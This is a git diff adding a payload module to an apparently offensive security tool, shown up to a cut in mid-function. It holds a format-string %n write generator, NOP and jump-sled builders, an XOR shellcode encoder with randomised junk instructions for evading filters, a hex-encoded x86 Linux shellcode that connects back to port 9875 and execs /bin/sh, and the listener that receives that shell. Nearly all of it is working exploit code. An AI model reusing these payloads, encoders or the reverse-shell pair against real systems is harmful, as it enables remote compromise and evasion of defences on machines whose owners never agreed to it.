* + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include +#include + +#include "libunirainbow.h" + +char *fstwrtr_32(uint32_t write_loc, uint32_t write_val, int dpa_off, int flags) { + union { + uint8_t chr[4]; + uint32_t w; + } w_u; + char *outz=NULL; + int j=0, j1=0; + + outz=(char *)xmalloc(256); + memset(outz, 0, 256); + + if (flags & FLG_VERB) { + DBG(M_PYL, "write Location 0x%08x write value 0x%08x offset %d\n", write_loc, write_val, dpa_off); + } + + w_u.w=write_loc; + + for (j=0 ; j < 4 ; j++) { + unsigned int off=0; + + off=j * 4; + + w_u.w=write_loc + j; + + for (j1=0 ; j1 < 4 ; j1++) { + outz[off + j1]=w_u.chr[j1]; + } + } + + w_u.w=write_val; + + sprintf(outz + 16, "%%%du%%%d$n" + "%%%du%%%d$n" + "%%%du%%%d$n" + "%%%du%%%d$n", + w_u.chr[3] - 16 + 256, dpa_off , + w_u.chr[2] - w_u.chr[3] + 256, dpa_off + 1, + w_u.chr[1] - w_u.chr[2] + 256, dpa_off + 2, + w_u.chr[0] - w_u.chr[1] + 256, dpa_off + 3 + ); + + return outz; +} diff --git a/src/payload_modules/libunirainbow/libunirainbow.h b/src/payload_modules/libunirainbow/libunirainbow.h new file mode 100644 index 0000000..a1d6241 --- /dev/null +++ b/src/payload_modules/libunirainbow/libunirainbow.h @@ -0,0 +1,103 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _LIBRAINBOW_H +# define _LIBRAINBOW_H + +int lr_rand_get(int /* max value */); + +/* lame, but think instructional clarity */ +#define COLOR_NONE 0 +#define COLOR_GREEN 1 +#define COLOR_GREEN_S "" +#define COLOR_RED 2 +#define COLOR_RED_S "" +#define COLOR_YELLOW 3 +#define COLOR_YELLOW_S "" +#define COLOR_BLUE 5 +#define COLOR_BLUE_S "" +#define COLOR_LTBLUE 6 +#define COLOR_LTBLUE_S "" +#define COLOR_RESET_S "" +/* ... */ +#define ALWAYS_HEX 64 + +#define XOR_BANNED_CHARS "\v\n\r?&" /* some silly default */ + +char *x86_xor_encode(const char * /* shellcode */, + size_t /* shellcode_len */, + const char * /* banned chars != \0 */, + int /* flags */, + size_t * /* max size of loader or 0, returns length */); + +char *x86_alpha_encode(const char * /* shellcode */, + size_t /* shellcode_len */, + const char * /* banned chars != \0 */, + int /* flags */, + size_t * /* max size of loader or 0, returns length */); + +int x86_rand_nops(char * /* buffer */, + size_t /* how many nops */, + const char * /* banned */); + +int x86_jump_sled(char * /* buffer */, + size_t /* buffer_size */, + const char * /* banned */); + +char *fstwrtr_32(uint32_t /* write location */, + uint32_t /* value to write */, + int /* DPA offset */, + int /* flags */); + +/* fairly straight forward */ +#define ENC_ALP 2 +#define ENC_XOR 1 + +/* i dont remeber what the P means, but its basicly more random than random? heh */ +#define FLG_VERB 1 +#define FLG_RAND 2 +#define FLG_RANDP 3 + +/* ok, so whats up with the distinction you may be wondering ... * + * well its mostly for cpus with seperate i|d caches that we're * + * going to have to use syscalls to flush things, and untill thats * + * in here, its just going to seem stupid ;] */ +#define PLT_LINXX86 1 +#define PLT_FBSDX86 2 +#define PLT_NBSDX86 3 +#define PLT_OBSDX86 4 + +char *encode(const char * /* shellcode */, + size_t /* shellcode_len */, + const char * /* banned */, + int /* type */, + int /* flags */, + int /* platform */, + size_t * /* max size of loader or 0, returns length */); + +int rand_nops(char * /* buf */, + size_t /* buf len */, + const char * /* banned */, + int /* platform */); + +int jump_sled(char * /* buf */, + size_t /* buf len */, + const char * /* banned */, + int /* platform */); + +#endif /* _LIBRAINBOW_H */ diff --git a/src/payload_modules/libunirainbow/utils/payload.h b/src/payload_modules/libunirainbow/utils/payload.h new file mode 100644 index 0000000..d3b6b9b --- /dev/null +++ b/src/payload_modules/libunirainbow/utils/payload.h @@ -0,0 +1,60 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PAYLOAD_H +# define _PAYLOAD_H + +/* connect back to port 9875 (w getpeername), use shclient for the client */ + + // 0 1 2 3 4 5 6 7 8 9 a b c d e f +#define PAYLOAD "\x89\xe5\x83\xec\x78\x31\xff\x31\xc0\x31\xdb\xb0\x1b\xcd\x80\x31" + "\x31\xdb\xb0\x1b\xcd\x80\x31\xd2\x89\x55\xfc\xb2\x78\x89\x55\xe8" + "\xc7\x45\xe4\x2f\x70\x74\x6d\xc7\x45\xe0\x2f\x64\x65\x76\x31\xc9" + "\xb1\x02\x8d\x5d\xe0\x31\xc0\xb0\x05\xcd\x80\x89\x45\xf8\x31\xc0" + "\x8b\x5d\xf8\xb9\x31\x54\x04\x40\x8d\x55\xfc\xb0\x36\xcd\x80\x31" + "\xc0\xb9\x30\x54\x04\x80\x8d\x55\xec\xb0\x36\xcd\x80\x8b\x4d\xec" + "\x83\xc1\x30\xc1\xe1\x08\x80\xc9\x2f\x89\x4d\xe8\x80\x75\xe7\x1e" + "\x31\xc0\xb0\x05\x8d\x5d\xe0\x31\xc9\xb1\x02\xcd\x80\x89\x45\xfc" + "\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x02\xeb\x52\x8b\x5d" + "\xfc\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x66\x31\xdb\x43\x43\x89" + "\x5d\xe4\x4b\x89\x5d\xe8\x4b\x89\x5d\xec\x8d\x4d\xe4\x43\xcd\x80" + "\x89\x45\xf4\x31\xc0\x89\x45\xe4\x8d\x45\xd4\x89\x45\xe8\x89\x7d" + "\xd0\x80\x45\xd0\x10\x8d\x45\xd0\x89\x45\xec\x8d\x4d\xe4\x31\xdb" + "\xb3\x07\x31\xc0\xb0\x66\xcd\x80\x8b\x55\xd8\x8b\x75\xf4\xeb\x02" + "\xeb\x51\x31\xc0\xb0\x02\x66\x89\x45\xd4\x66\xc7\x45\xd6\x26\x93" + "\x89\x55\xd8\x89\x75\xe4\x8d\x45\xd4\x89\x45\xe8\x89\x7d\xec\x80" + "\x45\xec\x10\x31\xdb\xb3\x03\x8d\x4d\xe4\x31\xc0\xb0\x66\xcd\x80" + "\x8b\x45\xf4\x89\x45\xe8\x89\x7d\xec\x80\x45\xec\x01\x8d\x5d\xe8" + "\x31\xc9\x41\x31\xd2\xb2\x10\x31\xc0\xb0\xa8\xcd\x80\x39\xf8\x7f" + "\x44\xeb\x02\xeb\x5d\x8b\x45\xf8\x89\x45\xe8\x89\x7d\xec\x80\x45" + "\xec\x01\x8d\x5d\xe8\x31\xc9\x41\x31\xd2\xb2\x10\x31\xc0\xb0\xa8" + "\xcd\x80\x39\xf8\x7f\x02\xeb\xb8\x31\xc0\xb0\x03\x8b\x5d\xf8\x8d" + "\x4d\x88\x31\xd2\xb2\x64\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x8b\x5d" + "\xfc\xcd\x80\xeb\x9b\x31\xc0\xb0\x03\x8b\x5d\xf4\x8d\x4d\x88\x31" + "\xd2\xb2\x64\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x8b\x5d\xf8\xcd\x80" + "\xeb\xa3\x8b\x5d\xf8\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x42\xcd" + "\x80\x31\xc0\x8b\x5d\xfc\x31\xc9\x66\xb9\x0e\x54\xb0\x36\xcd\x80" + "\x31\xc0\x31\xdb\x31\xc9\xb0\x3f\x8b\x5d\xfc\xcd\x80\xb0\x3f\x41" + "\xcd\x80\xb0\x3f\x41\xcd\x80\x8b\x75\xfc\x8b\x5d\xfc\x31\xc0\xb0" + "\x06\xcd\x80\xc7\x45\xec\x2f\x73\x68\x41\x80\x75\xef\x41\xc7\x45" + "\xe8\x2f\x62\x69\x6e\xc7\x45\xe4\x76\x69\x41\x41\x66\x81\x75\xe6" + "\x41\x41\x89\x7d\xe0\x8d\x45\xe4\x89\x45\xdc\x8d\x5d\xe8\x8d\x4d" + "\xdc\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"; +#define PAYLOAD_LEN (sizeof(PAYLOAD) - 1) + +#endif diff --git a/src/payload_modules/libunirainbow/utils/shclient.c b/src/payload_modules/libunirainbow/utils/shclient.c new file mode 100644 index 0000000..76a2b4f --- /dev/null +++ b/src/payload_modules/libunirainbow/utils/shclient.c @@ -0,0 +1,154 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#ifndef TIOCGWINSZ + #include +#endif + + +int tty_raw(void) { + struct termios ti; + int ret=0; + + ti.c_iflag |= IGNPAR; + ti.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF); +#ifdef IUCLC + ti.c_iflag &= ~IUCLC; +#endif + + ti.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL); +#ifdef IEXTEN + ti.c_lflag &= ~IEXTEN; +#endif + ti.c_oflag &= ~OPOST; + + ti.c_cc[VMIN] = 1; + ti.c_cc[VTIME] = 0; + + ret=tcsetattr(fileno(stdout), TCSADRAIN, &ti); + + return ret; +} + +int main(int argc, char ** argv) { + struct pollfd fds[2]; + struct sockaddr_in sin, cin; + char rbuf[1024]; + int s=-1, c=-1, pret=0, param=0; + ssize_t rret=0; + socklen_t sl=0; + + s=socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) { + perror("socket"); + exit(1); + } + + param=1; + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (void *)¶m, sizeof(param)) < 0) { + perror("setsockopt"); + exit(1); + } + + sin.sin_family=AF_INET; + sin.sin_port=htons(9875); + sin.sin_addr.s_addr=0; + + if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { + perror("bind"); + exit(1); + } + + if (listen(s, 5) < 0) { + perror("listen"); + exit(1); + } + + sl=sizeof(cin); + if ((c=accept(s, (struct sockaddr *)&cin, &sl)) < 0) { + perror("accept"); + exit(1); + } + + close(s); + + tty_raw(); + + for (;;) { +again: + memset(&fds[0], 0, sizeof(struct pollfd) * 2); + fds[0].fd=0; + fds[1].fd=c; + fds[0].events=POLLIN; + fds[1].events=POLLIN; + pret=poll(&fds[0], 2, 10); + if (errno == EINTR && pret < 0) goto again; + + if (pret < 0) { + perror("poll"); + exit(1); + } + + if (pret > 0) { + /* stdin readable? */ + if (fds[0].revents & POLLIN) { + memset(rbuf, 0, sizeof(rbuf)); + rret=read(fds[0].fd, rbuf, sizeof(rbuf) -1); + if (rret < 0) { + perror("read"); + exit(1); + } + if (rret > 0) { + if (write(c, rbuf, (size_t)rret) < 0) { + perror("write"); + exit(1); + } + } + } + /* socket readable? */ + if (fds[1].revents & POLLIN) { + memset(rbuf, 0, sizeof(rbuf)); + rret=read(fds[1].fd, rbuf, sizeof(rbuf) - 1); + if (rret < 0) { + perror("read"); + exit(1); + } + if (rret > 0) { + if (write(2, rbuf, (size_t)rret) < 0) { + perror("write"); + exit(1); + } + } + } + } + + } + + exit(0); +} diff --git a/src/payload_modules/libunirainbow/x86_alpha.c b/src/payload_modules/libunirainbow/x86_alpha.c new file mode 100644 index 0000000..2ebc8e9 --- /dev/null +++ b/src/payload_modules/libunirainbow/x86_alpha.c @@ -0,0 +1,9 @@ +#include +#include + +#include "libunirainbow.h" + +char *x86_alpha_encode(const char *shellcode, size_t shellcode_len, const char *banned, int flags, size_t *ls) { + ERR("NYI"); + return NULL; +} diff --git a/src/payload_modules/libunirainbow/x86_jmpsled.c b/src/payload_modules/libunirainbow/x86_jmpsled.c new file mode 100644 index 0000000..2cd90d8 --- /dev/null +++ b/src/payload_modules/libunirainbow/x86_jmpsled.c @@ -0,0 +1,55 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include + +#include "libunirainbow.h" + +#define JMP 0xeb + +int x86_jump_sled(char *buffer, size_t buffer_size, const char *banned) { + char *tmpsled=NULL; + size_t j=0; + + /* XXX dont be so lazy you bastard! */ + assert(buffer != NULL); + assert(buffer_size > 1); + + tmpsled=(char *)xmalloc(buffer_size); + memset(tmpsled, 0x41, buffer_size); + + if (strchr(banned, 0x41) != NULL || strchr(banned, JMP) != NULL || strchr(banned, 0x04) != NULL) { + ERR("cant make a jump sled with those characters banned!\n"); + return -1; + } + + for (j=0 ; j < (buffer_size - 8); j++) { + tmpsled[j]=JMP; + tmpsled[++j]=0x04; /* also add %eax, 0x???????? so we'll end up ok after we hit this */ + } + + /* here, have some popa's */ + memset(tmpsled + (buffer_size - 8), 0x61, 8); + + memcpy(buffer, tmpsled, buffer_size); + free(tmpsled); + + return 1; +} diff --git a/src/payload_modules/libunirainbow/x86_nops.c b/src/payload_modules/libunirainbow/x86_nops.c new file mode 100644 index 0000000..16e3529 --- /dev/null +++ b/src/payload_modules/libunirainbow/x86_nops.c @@ -0,0 +1,115 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include "libunirainbow.h" + +/* XXX should be more like the junk ops in xor_encode */ +static const char nopstr[]={ +#if 0 +0x27 , /* daa */ +0x2f , /* das */ +0x37 , /* aaa */ +0x3f , /* aas */ +#endif +0x40 , /* inc %eax */ +0x41 , /* inc %ecx */ +0x42 , /* inc %edx */ +0x43 , /* inc %ebx */ +0x44 , /* inc %esp */ +0x45 , /* inc %ebp */ +0x46 , /* inc %esi */ +0x47 , /* inc %edi */ +0x48 , /* dec %eax */ +0x49 , /* dec %ecx */ +0x4a , /* dec %edx */ +0x4b , /* dec %ebx */ +0x4c , /* dec %esp */ +0x4d , /* dec %ebp */ +0x4e , /* dec %esi */ +0x4f , /* dec %edi */ +0x50 , /* push %eax */ +0x51 , /* push %ecx */ +0x52 , /* push %edx */ +0x53 , /* push %ebx */ +0x54 , /* push %esp */ +0x55 , /* push %ebp */ +0x56 , /* push %esi */ +0x57 , /* push %edi */ +0x58 , /* pop %eax */ +0x59 , /* pop %ecx */ +0x5a , /* pop %edx */ +0x5b , /* pop %ebx */ +0x5d , /* pop %ebp */ +0x5e , /* pop %edi */ +0x5f , /* pop %esi */ +#if 0 +0x60 , /* pusha */ +0x61 , /* popa */ +#endif +0x90 , /* nop */ +0x91 , /* xchg %eax, %ecx */ +0x92 , /* xchg %eax, %edx */ +0x93 , /* xchg %eax, %ebx */ +0x95 , /* xchg %eax, %ebp */ +0x96 , /* xchg %eax, %esi */ +0x97 , /* xchg %eax, %edi */ +#if 0 +0x98 , /* cwtl */ +0x99 , /* cltd */ +0x9b , /* fwait */ +0x9c , /* pushf */ +0x9e , /* safh */ +0x9f , /* lahf */ +0xd6 , /* salc */ +0xf5 , /* cmc */ +0xf8 , /* clc */ +0xf9 , /* stc */ +0xfc , /* cld */ +#endif +}; +#define NOPS_SIZE sizeof(nopstr) + +int x86_rand_nops(char *buffer, size_t nop_size, const char *banned) { + char *walk=NULL; + size_t j=0; + unsigned int idx=0; + int watchdog=0; + + assert(buffer != NULL); + + for (j=0, walk=buffer ; j < nop_size ; j++, walk++) { + for (watchdog=0 ; watchdog < 1000 ; watchdog++) { + idx=(unsigned int)lr_rand_get(NOPS_SIZE); + assert(idx < NOPS_SIZE); + *walk=nopstr[idx]; + if (banned == NULL) { + break; + } + if (strchr(banned, *walk) == NULL) break; + } + if (watchdog == 999) { + ERR("rand nops failed, banned too restrictive?\n"); + return -1; + } + } + + return 1; +} diff --git a/src/payload_modules/libunirainbow/x86_xor.c b/src/payload_modules/libunirainbow/x86_xor.c new file mode 100644 index 0000000..892d804 --- /dev/null +++ b/src/payload_modules/libunirainbow/x86_xor.c @@ -0,0 +1,635 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +/* + * Encode a buffer with shellcode to include a random loader, and the original shellcode in an xor ^ 8bit state + * as to remove nulls or perhaps to remove certain banned characters in the shellcode. + * + * TODO: + * Compress shellcode and decode with loader + * + */ +#include +#include + +#include +#include +#include + +#include "libunirainbow.h" + +static int xor_rate(char /* chr */, const char * /* banned */); +static int randz=0; + +#if 0 + +XXX LEN1 AND LEN2 are 16 bits (LEN1 ^ LEN2 = length of trailing shellcode) +XXX KEY is 8 bits + +Dont touch %ecx, unless loop is replaced. +%e? is esi, edi, eax, ebx or edx. + +_start: + jmp end /* \xeb\x14 */ +fixptr: + pop %e? /* ? */ + xor|sub %ecx, %ecx /* (\x31|\x29)\xc9 */ + mov LEN1, %cx /* \x66\xb9(LEN1 16) */ + xor LEN2, %cx /* \x66\x81\xf1(LEN2 16) */ +dec_loop: + xorb KEY, (%e?) /* \x80?(KEY 8) */ + incl %e? /* ? */ + loop dec_loop /* \xe2\xfa */ + jmp done /* \xeb\x05 */ +end: + call fixptr /* \xe8\xe7\xff\xff\xff */ +done: + /* SHELLCODE ^ KEY */ +#endif + +#define POP_EAX "\x58" +#define POP_EBX "\x5b" +#define POP_EDX "\x5a" +#define POP_EDI "\x5f" +#define POP_ESI "\x5e" + +#define XOR_ECX_ECX "\x31\xc9" +#define SUB_ECX_ECX "\x29\xc9" + +#define MOV_CX "\x66\xb9" +#define XOR_CX "\x66\x81\xf1" + +#define XORB_EAX_P "\x80\x30" +#define XORB_EBX_P "\x80\x33" +#define XORB_EDX_P "\x80\x32" +#define XORB_EDI_P "\x80\x37" +#define XORB_ESI_P "\x80\x36" + +#define INC_EAX "\x40" +#define INC_EBX "\x43" +#define INC_EDX "\x42" +#define INC_EDI "\x47" +#define INC_ESI "\x46" + +#define JMP "\xeb" +#define CALL "\xe8" +#define LOOP "\xe2" + +#define UREG_NONE 0 +#define UREG_EAX 1 +#define UREG_EBX 2 +#define UREG_ECX 4 +#define UREG_EDX 8 +#define UREG_EDI 16 +#define UREG_ESI 32 +#define USTACK 64 +#define U_INVLD 128 + +static struct { + const char *opcd; /* string containing instruction(s) */ + int regs; /* registers clobbered after use */ +} junk_ops[]={ +{ "\x37", UREG_EAX }, /* aaa */ +{ "\x3f", UREG_EAX }, /* aas */ +{ "\x40", UREG_EAX }, /* incl %eax */ +{ "\x43", UREG_EBX }, /* incl %ebx */ +{ "\x41", UREG_ECX }, /* incl %ecx */ +{ "\x42", UREG_EDX }, /* incl %edx */ +{ "\x46", UREG_ESI }, /* incl %esi */ +{ "\x47", UREG_EDI }, /* incl %edi */ +{ "\x48", UREG_EAX }, /* decl %eax */ +{ "\x4b", UREG_EBX }, /* decl %ebx */ +{ "\x49", UREG_ECX }, /* decl %ecx */ +{ "\x4a", UREG_EDX }, /* decl %edx */ +{ "\x4e", UREG_ESI }, /* decl %esi */ +{ "\x4f", UREG_EDI }, /* decl %edi */ +{ "\x90", UREG_NONE }, /* nop(xchg eax, eax) */ +{ "\x9f", UREG_EAX }, /* lahf */ +{ "\x93", UREG_EAX|UREG_EBX }, /* xchg %eax, %ebx */ +{ "\x91", UREG_EAX|UREG_ECX }, /* xchg %eax, %ecx */ +{ "\x92", UREG_EAX|UREG_EDX }, /* xchg %eax, %edx */ +{ "\x97", UREG_EAX|UREG_EDI }, /* xchg %eax, %edi */ +{ "\x96", UREG_EAX|UREG_ESI }, /* xchg %eax, %esi */ +{ "\x0f\xc8", UREG_EAX }, /* bswap %eax */ +{ "\x0f\xcb", UREG_EBX }, /* bswap %ebx */ +{ "\x0f\xc9", UREG_ECX }, /* bswap %ecx */ +{ "\x0f\xca", UREG_EDX }, /* bswap %edx */ +{ "\x0f\xcf", UREG_EDI }, /* bswap %edi */ +{ "\x0f\xce", UREG_ESI }, /* bswap %esi */ +{ "\x21\xc0", UREG_EAX }, /* and %eax, %eax */ +{ "\x87\xc9", UREG_ECX }, /* xchg %ecx,%ecx */ +{ "\x87\xca", UREG_ECX|UREG_EDX }, /* xchg %ecx,%edx */ +{ "\x87\xcb", UREG_ECX|UREG_EBX }, /* xchg %ecx,%ebx */ +{ "\x87\xce", UREG_ECX|UREG_ESI }, /* xchg %ecx,%esi */ +{ "\x87\xcf", UREG_ECX|UREG_EDI }, /* xchg %ecx,%edi */ +{ "\x87\xd1", UREG_EDX|UREG_ECX }, /* xchg %edx,%ecx */ +{ "\x87\xd2", UREG_EDX }, /* xchg %edx,%edx */ +{ "\x87\xd3", UREG_EDX|UREG_EBX }, /* xchg %edx,%ebx */ +{ "\x87\xd6", UREG_EDX|UREG_ESI }, /* xchg %edx,%esi */ +{ "\x87\xd7", UREG_EDX|UREG_EDI }, /* xchg %edx,%edi */ +{ "\x87\xd9", UREG_EBX|UREG_ECX }, /* xchg %ebx,%ecx */ +{ "\x87\xda", UREG_EBX|UREG_EDX }, /* xchg %ebx,%edx */ +{ "\x87\xdb", UREG_EBX }, /* xchg %ebx,%ebx */ +{ "\x87\xde", UREG_EBX|UREG_ESI }, /* xchg %ebx,%esi */ +{ "\x87\xdf", UREG_EBX|UREG_EDI }, /* xchg %ebx,%edi */ +{ "\x87\xf1", UREG_ESI|UREG_ECX }, /* xchg %esi,%ecx */ +{ "\x87\xf2", UREG_ESI|UREG_EDX }, /* xchg %esi,%edx */ +{ "\x87\xf3", UREG_ESI|UREG_EBX }, /* xchg %esi,%ebx */ +{ "\x87\xf6", UREG_ESI }, /* xchg %esi,%esi */ +{ "\x87\xf7", UREG_ESI|UREG_EDI }, /* xchg %esi,%edi */ +{ "\x87\xf9", UREG_EDI|UREG_ECX }, /* xchg %edi,%ecx */ +{ "\x87\xfa", UREG_EDI|UREG_EDX }, /* xchg %edi,%edx */ +{ "\x87\xfb", UREG_EDI|UREG_EBX }, /* xchg %edi,%ebx */ +{ "\x87\xfe", UREG_EDI|UREG_ESI }, /* xchg %edi,%esi */ +{ "\x87\xff", UREG_EDI }, /* xchg %edi,%edi */ +{ "\x58", UREG_EAX|USTACK }, /* pop %eax */ +{ "\x5b", UREG_EBX|USTACK }, /* pop %ebx */ +{ "\x59", UREG_ECX|USTACK }, /* pop %ecx */ +{ "\x5a", UREG_EDX|USTACK }, /* pop %edx */ +{ "\x5f", UREG_EDI|USTACK }, /* pop %edi */ +{ "\x5e", UREG_ESI|USTACK }, /* pop %esi */ +{ "\x50", UREG_EAX|USTACK }, /* pushl %eax */ +{ "\x53", UREG_EBX|USTACK }, /* pushl %ebx */ +{ "\x51", UREG_ECX|USTACK }, /* pushl %ecx */ +{ "\x52", UREG_EDX|USTACK }, /* pushl %edx */ +{ "\x57", UREG_EDI|USTACK }, /* pushl %edi */ +{ "\x56", UREG_ESI|USTACK }, /* pushl %esi */ +{ "\x6a\x30", USTACK }, /* pushl $0x30 */ +{ "\x6a\x63", USTACK }, /* pushl $0x63 */ +{ "\x6a\x64", USTACK }, /* pushl $0x64 */ +{ "\x6a\x65", USTACK }, /* pushl $0x65 */ +{ "\x6a\x66", USTACK }, /* pushl $0x66 */ +{ "\x6a\x67", USTACK }, /* pushl $0x67 */ +{ "\x6a\x68", USTACK }, /* pushl $0x68 */ +{ "\x6a\x69", USTACK }, /* pushl $0x69 */ +{ "\xe9\x30\x30\x30\x80", U_INVLD }, /* jmp -0x7FCFCFD0 */ +{ "\xe9\x30\x30\x30\x30", U_INVLD }, /* jmp +0x30303030 */ +{ "\x30", U_INVLD }, /* flaming kitty! */ +{ "\x31", U_INVLD }, /* flaming kitty! */ +{ "\x32", U_INVLD }, /* flaming kitty! */ +{ "\x33", U_INVLD }, /* flaming kitty! */ +{ "\x34", U_INVLD }, /* flaming kitty! */ +{ "\x35", U_INVLD }, /* flaming kitty! */ +{ "\x68", U_INVLD }, /* h */ +{ "\x69", U_INVLD }, /* i */ +{ "\x6a", U_INVLD }, /* j */ +{ "\x6b", U_INVLD }, /* k */ +{ "\x70", U_INVLD }, /* p */ +{ "\x71", U_INVLD }, /* q */ +{ "\x72", U_INVLD }, /* r */ +{ "\x73", U_INVLD }, /* s */ +{ "\x74", U_INVLD }, /* t */ +{ "\x75", U_INVLD }, /* u */ +{ "\x76", U_INVLD }, /* v */ +{ "\x77", U_INVLD }, /* w */ +}; + +#define JUNK_OP_SIZE (sizeof(junk_ops) / sizeof(junk_ops[0])) + +/* returns NULL on failure */ +static const char *get_junkop(int regs_donttouch, const char *banned) { + int j=0, spin_count=0; + + for (spin_count=0 ; spin_count < 200 ; spin_count++) { + j=lr_rand_get((int)JUNK_OP_SIZE); + + if ((junk_ops[j].regs & regs_donttouch) == 0) { + if (banned != NULL) { + const char *walk=NULL; + int acceptable=1; + + for (walk=junk_ops[j].opcd ; *walk != '\0' ; walk++) { + if (strchr(banned, *walk) != NULL) { + acceptable=0; + } + } + + if (acceptable) return junk_ops[j].opcd; + } + else { + return junk_ops[j].opcd; + } + } + } + + ERR("cant get junkop, is banned too restrictive?\n"); + return NULL; +} + +static char *gen_loader(uint16_t len1, uint16_t len2, uint8_t key, const char *banned, int flags) { + static char xor_loader[128]; + uint8_t tmp[5]; /* convert int32_t's uint16_t's and uint8_t's into strings */ + char *jump_end_p=NULL; /* location of the first jump instruction parameter */ + char *land_end_p=NULL; /* where the first jump lands */ + char *jump_fixptr_p=NULL; /* location of the jump fixptr instruction parameter */ + char *land_fixptr_p=NULL; /* location of the pop %e? instruction */ + char *loop_land_p=NULL; /* where loop jmps to */ + char *loop_jump_p=NULL; /* location of the loop instruction parameter */ + char *jump_done_p=NULL; + char *land_done_p=NULL; + unsigned int xor_off=0; + int reg=0, state=0, junk_flags=-1; + int8_t jumpc_off=0; + int32_t jumpw_off=0; + + memset(xor_loader, 0, sizeof(xor_loader)); + + /* pick our pointer register */ + switch (lr_rand_get(5)) { + case 0: + reg=UREG_EAX; break; + case 1: + reg=UREG_EBX; break; + case 2: + reg=UREG_EDX; break; + case 3: + reg=UREG_ESI; break; + case 4: + reg=UREG_EDI; break; + } + +/* we wont do bounds checking cause thats for pussies */ +#define BADD(str) xor_off += sprintf(xor_loader + xor_off, "%s", (str)) + +/* DITTO! */ +#define INS_JUNK(regs) \ + if (flags & FLG_RAND && lr_rand_get(2) == 1) { \ + const char *ops=NULL; \ + \ + ops=get_junkop((regs), banned); \ + if (ops == NULL) return NULL; \ + xor_off += sprintf(xor_loader + xor_off, "%s", ops); \ + } + + junk_flags=-1; /* for clarity */ + + for (state=0 ; state < 10 ; /* we inc inside for clarity */) { + + if (junk_flags != -1) { + INS_JUNK(junk_flags); + if (lr_rand_get(2) == 0) junk_flags=-1; + continue; + } + + switch (state) { + case 0: + BADD(JMP); /* jmp ? */ + /* we dont know how far to jump yet */ + jump_end_p=&xor_loader[xor_off++]; + junk_flags=UREG_NONE; /* we can add anything, well jump over it */ + state++; + break; + + case 1: + 